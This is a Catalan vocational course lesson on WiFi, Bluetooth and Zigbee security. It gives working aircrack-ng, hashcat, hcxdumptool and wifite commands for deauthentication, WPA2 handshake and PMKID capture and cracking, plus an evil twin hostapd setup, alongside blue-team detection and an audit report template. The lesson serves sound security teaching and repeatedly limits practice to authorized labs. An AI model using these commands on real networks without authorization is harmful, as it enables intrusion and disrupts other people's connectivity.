Salta el contingut

Hacking de Xarxes Sense Fils

Proposta didàctica

En aquest tema treballem el RA2 del mòdul 5025: Ataca i defensa xarxes sense fils en entorns de prova demostrant vulnerabilitats i aplicant contramedides.

Criteris d'avaluació

  • CA2.1 Configura modes de funcionament de la targeta WiFi.

  • CA2.2 Descriu tècniques d'encriptació WiFi i vulnerabilitats.

  • CA2.3 Detecta xarxes i captura tràfic.

  • CA2.4 Accedeix a xarxes vulnerables (en entorn de prova).

  • CA2.5 Caracteritza altres sistemes sense fils i vulnerabilitats.

  • CA2.6 Utilitza tècniques d'Equip Vermell i Blau.

  • CA2.7 Realitza informes sobre vulnerabilitats detectades.

Continguts de referència

  1. Arquitectura de les xarxes WiFi 802.11
  2. Modes de funcionament de la targeta de xarxa sense fils
  3. Protocols de seguretat WiFi: WEP, WPA, WPA2, WPA3
  4. WPA2 Personal vs. Enterprise (802.1X/RADIUS)
  5. Vulnerabilitats WPA2: captura del 4-way handshake, atac PMKID
  6. Aircrack-ng suite: airmon-ng, airodump-ng, aireplay-ng, aircrack-ng
  7. Atac de desautenticació (deauth)
  8. Evil Twin Attack i hostapd-wpe
  9. Wifite: automatització d'atacs WiFi
  10. Wireshark: anàlisi de tràfic sense fils capturat
  11. WPA3 i Dragonblood (CVE-2019-9494)
  12. Bluetooth: vulnerabilitats BlueJacking, BlueSnarfing, BlueBorne
  13. Zigbee: arquitectura i vulnerabilitats
  14. Dinàmica Red Team / Blue Team en xarxes sense fils
  15. Redacció d'informes d'auditoria WiFi

Important ètic i legal

TOTS els atacs i tècniques d'aquest tema s'han de practicar EXCLUSIVAMENT en:

  • Xarxes WiFi pròpies (router propi en un entorn aïllat)
  • Laboratoris dedicats amb autorització expressa
  • Entorns de simulació (Docker, VM, hostapd simulat)

Atacar, interceptar o accedir a xarxes WiFi alienes sense autorització és un delicte penal tipificat a l'art. 197 bis CP espanyol. Fins i tot si la xarxa no té contrasenya o és "oberta", accedir-hi sense permís és il·legal.


1. Arquitectura WiFi i estàndards 802.11

1.1 Estàndards 802.11

Estàndard Any Banda Velocitat màx Denominació
802.11b 1999 2.4 GHz 11 Mbps WiFi 1
802.11a 1999 5 GHz 54 Mbps WiFi 2
802.11g 2003 2.4 GHz 54 Mbps WiFi 3
802.11n 2009 2.4/5 GHz 600 Mbps WiFi 4
802.11ac 2013 5 GHz 6.9 Gbps WiFi 5
802.11ax 2019 2.4/5/6 GHz 9.6 Gbps WiFi 6
802.11be 2024 2.4/5/6 GHz 46 Gbps WiFi 7

1.2 Modes de funcionament de la targeta WiFi

graph TD
    NIC["Targeta WiFi (NIC)"] --> M["Mode Gestió\n(Managed)"]
    NIC --> MO["Mode Monitor\n(Monitor)"]
    NIC --> MA["Mode Master\n(AP Mode)"]
    NIC --> AH["Mode Ad-Hoc\n(IBSS)"]
    NIC --> ME["Mode Mesh"]

    M --> M1["Mode normal de connexió\na punts d'accés (AP).\nNomés rep paquets\nadreçats a la MAC pròpia"]
    MO --> MO1["Mode passiu: captura\nTOTS els paquets de l'aire\n(promiscuous mode WiFi).\nNecessari per auditar"]
    MA --> MA1["La targeta actua\ncom a punt d'accés.\nUsada per Evil Twin,\nhostapd"]
    AH --> AH1["Connexió directa\nentre dispositius\nsense AP intermedi"]

    style MO fill:#e74c3c,color:#fff
    style MO1 fill:#fde8e8

Configuració del mode monitor

# Llistar targetes WiFi disponibles
iwconfig
ip link show

# Verificar targeta compatible amb mode monitor
iw list | grep -A10 "Supported interface modes"

# Mètode 1: airmon-ng (recomanat)
# Comprovar processos que interfereixen
sudo airmon-ng check kill

# Activar mode monitor
sudo airmon-ng start wlan0
# Resultat: crea interfície wlan0mon

# Verificar mode monitor
iwconfig wlan0mon

# Desactivar mode monitor
sudo airmon-ng stop wlan0mon

# Mètode 2: iw i ip
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up
sudo iw dev wlan0 info

2. Protocols de seguretat WiFi

2.1 Evolució de la seguretat WiFi

timeline
    title Evolució de la Seguretat WiFi
    1997 : WEP (Wired Equivalent Privacy)
         : RC4, clau de 40/104 bits
         : Trencable en minuts
    2003 : WPA (Wi-Fi Protected Access)
         : TKIP temporal
         : Millorat però vulnerable
    2004 : WPA2 (802.11i)
         : AES-CCMP
         : Estàndard actual dominant
    2018 : WPA3
         : SAE (Dragonfly)
         : Forward Secrecy
    2019 : Dragonblood
         : CVE-2019-9494
         : Vulnerabilitats WPA3

2.2 WEP - Wired Equivalent Privacy (OBSOLET)

WEP és completament insegur

WEP (Wired Equivalent Privacy) va ser l'estàndard original de seguretat WiFi (1997). Utilitza el xifratge RC4 amb un IV (Initialization Vector) de tan sols 24 bits, cosa que el fa trencable en menys de 5 minuts amb eines com Aircrack-ng.

MAI s'ha de configurar WEP en cap entorn. Si trobes una xarxa amb WEP, és una vulnerabilitat crítica.

Vulnerabilitats de WEP: - IV de 24 bits massa curt: es repeteix cada ~5.000 paquets - Clau RC4 parcial visible en els paquets - No hi ha autenticació dels missatges (no hi ha MIC) - Atac estadístic de Fluhrer-Mantin-Shamir (FMS)

2.3 WPA2 - La realitat actual

WPA2 Personal (PSK): - Utilitza una contrasenya pre-compartida (Pre-Shared Key) - Xifratge AES-CCMP (molt segur) - Vulnerabilitat: el 4-way handshake pot ser capturat i atacat offline

WPA2 Enterprise (802.1X): - Autenticació via servidor RADIUS - Cada usuari té credencials úniques - Cap vulnerabilitat pràctica equivalent al PSK cracking

sequenceDiagram
    participant C as Client (Supplicant)
    participant AP as Punt d'Accés
    participant R as Servidor RADIUS

    Note over C,AP: WPA2 Personal (PSK)
    AP->>C: ANonce (número aleatori)
    C->>AP: SNonce + MIC
    AP->>C: GTK + MIC
    C->>AP: ACK
    Note over C,AP: 4-Way Handshake complet!
    Note over C,AP: Atacant captura handshake i ataca offline

    Note over C,R: WPA2 Enterprise (802.1X/EAP)
    C->>AP: EAP Identity Request
    AP->>R: RADIUS Access-Request
    R->>AP: EAP Challenge
    AP->>C: EAP Challenge
    C->>AP: EAP Response (credencials)
    AP->>R: RADIUS Access-Request
    R->>AP: RADIUS Access-Accept
    AP->>C: 4-Way Handshake (sense PSK)

2.4 WPA3 - La nova generació

Millores de WPA3: - SAE (Simultaneous Authentication of Equals) substitueix el PSK clàssic - Forward Secrecy: cada sessió genera claus noves (una clau capturada no compromet sessions anteriors) - Protected Management Frames (PMF): obligatori, protegeix contra deauth attacks - WPA3-Enterprise: xifrat de 192 bits

Vulnerabilitats Dragonblood (CVE-2019-9494):

CVE-2019-9494 - Side-channel attack contra el handshake SAE
CVE-2019-9496 - EAP-pwd vulnerabilitat


3. La suite Aircrack-ng

3.1 Components principals

Eina Funció
airmon-ng Gestió de modes de la targeta (monitor/managed)
airodump-ng Captura de paquets WiFi, detecció de xarxes
aireplay-ng Injecció de paquets (deauth, fake auth)
aircrack-ng Crack de claus WEP/WPA2
airdecap-ng Desxifrat de fitxers de captura
packetforge-ng Creació de paquets forjats

3.2 Flux de treball: captura de handshake WPA2

Entorn de laboratori

Els passos següents s'han d'executar ÚNICAMENT en la teva pròpia xarxa de laboratori o en una xarxa per a la qual tens autorització escrita. La xarxa objectiu ha de ser de la teva propietat o del teu centre de pràctiques.

# FASE 1: Preparació
# Identificar la targeta WiFi
iwconfig

# Aturar processos que interfereixen
sudo airmon-ng check kill

# Activar mode monitor
sudo airmon-ng start wlan0
# La targeta es diu ara wlan0mon (o mon0 en alguns sistemes)

# FASE 2: Descoberta de xarxes
# Llistar totes les xarxes a l'abast
sudo airodump-ng wlan0mon

# Sortida exemple:
# BSSID              PWR  Beacons  #Data  #/s  CH  MB   ENC CIPHER AUTH ESSID
# AA:BB:CC:DD:EE:FF  -60  45       12     0    6   54e. WPA2 CCMP   PSK  LaXarxaDelLab

# FASE 3: Captura del handshake
# Focar en la xarxa objectiu del lab (substituir valors)
sudo airodump-ng -c 6 \
    --bssid AA:BB:CC:DD:EE:FF \
    -w /tmp/captura_lab \
    wlan0mon

# En una altra terminal: forçar desautenticació (lab propi!)
sudo aireplay-ng -0 3 \
    -a AA:BB:CC:DD:EE:FF \
    -c 11:22:33:44:55:66 \
    wlan0mon
# -0 3 = enviar 3 paquets de deautenticació
# -a = BSSID del AP (lab)
# -c = MAC del client (lab)

# Quan airodump-ng mostra "WPA handshake: AA:BB:CC:DD:EE:FF" -> captura aconseguida!

# FASE 4: Crack del handshake
# Amb Aircrack-ng (CPU)
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt \
    /tmp/captura_lab-01.cap

# Amb Hashcat (GPU, molt més ràpid)
# Primer convertir format
hcxpcapngtool -o hash.hc22000 /tmp/captura_lab-01.cap
# Després crackejar
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt

# FASE 5: Restaurar targeta
sudo airmon-ng stop wlan0mon
sudo systemctl start NetworkManager

3.3 Atac PMKID (sense necessitat de client connectat)

L'atac PMKID (descobert el 2018 per Jens Steube, creador de Hashcat) permet obtenir el hash de la clau WPA2 directament del AP sense esperar que cap client es connecti.

# Eines necessàries: hcxdumptool i hcxtools
sudo apt install hcxdumptool hcxtools -y

# Captura del PMKID (lab propi!)
sudo hcxdumptool -i wlan0mon \
    -o pmkid_capture.pcapng \
    --enable_status=1 \
    --filterlist_ap=bssid_filter.txt  # Limitar al BSSID del lab

# Convertir a format Hashcat
hcxpcapngtool -o pmkid.hc22000 pmkid_capture.pcapng

# Crackejar (GPU recomanat)
hashcat -m 22000 pmkid.hc22000 /usr/share/wordlists/rockyou.txt

# Amb regles per augmentar la cobertura
hashcat -m 22000 pmkid.hc22000 /usr/share/wordlists/rockyou.txt \
    -r /usr/share/hashcat/rules/best64.rule

4. Atacs avançats a xarxes WiFi

4.1 Evil Twin Attack

Únicament en laboratori aïllat

Un Evil Twin crea un punt d'accés fals amb el mateix SSID que la xarxa legítima. Qualsevol experiment s'ha de fer en una xarxa completament aïllada de qualsevol altra xarxa real.

# Requisits: hostapd, dnsmasq, iptables

# Arxiu de configuració del AP fals: evil_twin.conf
cat << 'EOF' > /tmp/evil_twin.conf
interface=wlan0
driver=nl80211
ssid=LaXarxaDelLab
hw_mode=g
channel=6
wpa=2
wpa_passphrase=contrasenyadellaboratori
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
EOF

# Iniciar el fals AP (lab aïllat)
sudo hostapd /tmp/evil_twin.conf

# Per a Evil Twin sense contrasenya (captura de credencials)
# s'usa hostapd-wpe (WPE = Wireless Pwnage Edition)
# NOTA: Únicament en pentest autoritzats d'infraestructura WiFi corporativa

4.2 Atac de Desautenticació (Deauth)

Els paquets de gestió 802.11 no estaven autenticats fins a WPA3/PMF. Això permet a un atacant enviar paquets de desautenticació forjats en nom del AP:

# Desautenticar un client específic del lab
sudo aireplay-ng -0 10 \
    -a AA:BB:CC:DD:EE:FF \   # BSSID del AP del lab
    -c 11:22:33:44:55:66 \   # MAC del client del lab
    wlan0mon

# Desautenticar tots els clients d'una xarxa del lab
sudo aireplay-ng -0 5 \
    -a AA:BB:CC:DD:EE:FF \
    wlan0mon

Contramedida: WPA3 amb PMF (Protected Management Frames) fa impossible aquest atac.

4.3 Wifite - Automatització d'atacs

# Wifite: automatitza tot el procés (lab propi)
sudo wifite

# Opcions útils:
sudo wifite --wpa          # Atacar només WPA/WPA2
sudo wifite --pmkid        # Usar atac PMKID
sudo wifite --dict /usr/share/wordlists/rockyou.txt
sudo wifite --no-deauth    # No enviar deauth

5. Análisi de tràfic WiFi amb Wireshark

# Capturar tràfic WiFi amb Wireshark (mode monitor actiu)
sudo wireshark -i wlan0mon -k

# Filtres útils de Wireshark per WiFi:
# Mostrar beacons (anuncis d'AP)
wlan.fc.type_subtype == 0x0008

# Mostrar handshakes WPA2 (EAPOL)
eapol

# Filtrar per BSSID
wlan.bssid == aa:bb:cc:dd:ee:ff

# Mostrar dades de gestió
wlan.fc.type == 0

# Mostrar paquets de deautenticació
wlan.fc.type_subtype == 12

6. Bluetooth i Zigbee

6.1 Bluetooth - Vulnerabilitats

Atac Descripció Eina
BlueJacking Enviament de missatges no sol·licitats via Bluetooth hcitool
BlueSnarfing Accés no autoritzat a dades del dispositiu bluesnarfer
BlueBorne (CVE-2017-0781) Execució de codi remot sense parellament Exploit específic
KNOB (CVE-2019-9506) Reducció de la longitud de la clau d'encriptació hcitool
BIAS (CVE-2020-10135) Falsificació d'autenticació Bluetooth Classic Exploit específic
# Escaneig de dispositius Bluetooth (eines legítimes)
hciconfig hci0 up
hcitool scan          # Dispositius en mode discoverable
hcitool lescan        # Dispositius BLE (Bluetooth Low Energy)

# Avec bluetoothctl
bluetoothctl
[bluetoothctl] > scan on
[bluetoothctl] > info AA:BB:CC:DD:EE:FF

6.2 Zigbee - Vulnerabilitats

Zigbee és un protocol de baixa potència per a IoT (sensors, domòtica, etc.):

Vulnerabilitat Descripció
Coordinador comprometible Coordinador Zigbee pot ser reinicialitzat/compromès
Clau de xarxa exposada La clau de xarxa es transmet en clar durant el join
Replay attacks Reutilització de paquets antics
Jamming Interferència en la freqüència 2.4 GHz
# Eina: KillerBee per a auditoria Zigbee
# (requereix hardware específic: ApiMote, Atmel RZUSBstick)
pip install killerbee

# Escaneig de xarxes Zigbee
zbfind -i /dev/ttyUSB0

# Captura de tràfic Zigbee
zbdump -i /dev/ttyUSB0 -f 15 -w captura.pcap -c

7. Red Team / Blue Team en WiFi

Dinàmica Red/Blue Team

graph LR
    RT["Red Team\n(Atacants)"] -->|Ataca| T["Xarxa WiFi\nde Laboratori"]
    BT["Blue Team\n(Defensors)"] -->|Monitora i Defensa| T

    RT --> RT1["• Captura handshake\n• Deauth attacks\n• Evil Twin\n• PMKID attack"]
    BT --> BT1["• IDS/WIDS\n• Kismet monitoring\n• WPA3 + PMF\n• Detecció de rogue AP"]

    RT1 -->|Troba vulnerabilitats| I["Informe de\nVulnerabilitats"]
    BT1 -->|Implementa millores| I

Eines de detecció (Blue Team):

# Kismet: detector de xarxes i IDS WiFi
sudo kismet -c wlan0mon

# Accedir via web: http://localhost:2501
# Detecta: rogue APs, deauth attacks, PMKID attacks

# Airwatch: monitorització bàsica
# (part de la suite aircrack-ng)

# Detecció manual d'Evil Twin (Blue Team)
sudo airodump-ng wlan0mon | grep "el_nostre_SSID"
# Si apareix dos cops el mateix SSID -> possible Evil Twin!

8. Informe d'auditoria WiFi

Un informe d'auditoria WiFi ha d'incloure:

# Informe d'Auditoria de Seguretat WiFi

## 1. Resum Executiu
- Data: [DATA]
- Abast: [xarxes auditades]
- Resultat global: [Alt risc / Risc mitjà / Baix risc]

## 2. Metodologia
- Eines usades: Aircrack-ng, Kismet, Wireshark
- Durada: [X hores]

## 3. Vulnerabilitats trobades

### V-01: Xarxa amb WPA2-PSK i contrasenya feble
- Gravetat: **Alta** (CVSS 7.5)
- BSSID: AA:BB:CC:DD:EE:FF
- Prova de concepte: Handshake capturat i contrasenya cracada en 2 minuts
- Recomanació: Usar contrasenya d'almenys 20 caràcters aleatoris

### V-02: Absència de PMF (Protected Management Frames)
- Gravetat: **Mitjana** (CVSS 5.3)
- Descripció: La xarxa és vulnerable a atacs de deautenticació
- Recomanació: Activar WPA3 o WPA2 + PMF obligatori

## 4. Recomanacions generals
1. Migrar a WPA3 quan sigui possible
2. Usar contrasenyes aleatòries de 20+ caràcters
3. Implementar WPA2-Enterprise (RADIUS) per a entorns corporatius
4. Activar detecció de rogue AP (WIDS)

## 5. Taula de risc
| ID | Vulnerabilitat | Gravetat | Prioritat |
|----|---------------|----------|-----------|
| V-01 | WPA2-PSK contrasenya feble | Alta | Urgent |
| V-02 | Sense PMF | Mitjana | Alta |

Miniactivitats

Miniactivitat 1: Configuració del mode monitor

En el laboratori amb una targeta WiFi compatible:

  1. Identifica la targeta WiFi amb iwconfig i iw list
  2. Verifica que la targeta suporta el mode monitor
  3. Activa el mode monitor amb airmon-ng start wlan0
  4. Verifica que el mode és Monitor amb iwconfig
  5. Captura beacons durant 30 segons amb airodump-ng wlan0mon
  6. Identifica quantes xarxes WiFi detectes i quin protocol de seguretat usen
  7. Desactiva el mode monitor i restaura la connexió

Nota: No has de capturar dades de les xarxes detectades, únicament observar els beacons.

Miniactivitat 2: Captura de handshake WPA2 (xarxa pròpia del lab)

Usant la xarxa WiFi de laboratori del centre (o una xarxa pròpia autoritzada):

  1. Activa el mode monitor
  2. Identifica el BSSID i canal de la xarxa del lab
  3. Inicia la captura amb airodump-ng
  4. (Opcional: forçar desautenticació en la teva pròpia xarxa del lab)
  5. Espera que un dispositiu autoritzat del lab es connecti
  6. Verifica que s'ha capturat el handshake: "WPA handshake: XX:XX:XX..."
  7. Atura la captura i guarda el fitxer .cap
  8. NO intentis crackear la contrasenya si no saps que és feble - és una xarxa real

Miniactivitat 3: Anàlisi de tràfic WiFi amb Wireshark

Amb un fitxer .cap de captura del laboratori (proporcionat pel professor):

  1. Obre el fitxer amb Wireshark
  2. Aplica el filtre eapol per veure el handshake WPA2
  3. Identifica els 4 missatges del 4-way handshake
  4. Aplica el filtre wlan.fc.type_subtype == 12 per veure paquets de deauth
  5. Identifica el BSSID i clients presents
  6. Respon: Quin protocol de seguretat usa la xarxa? Com ho saps?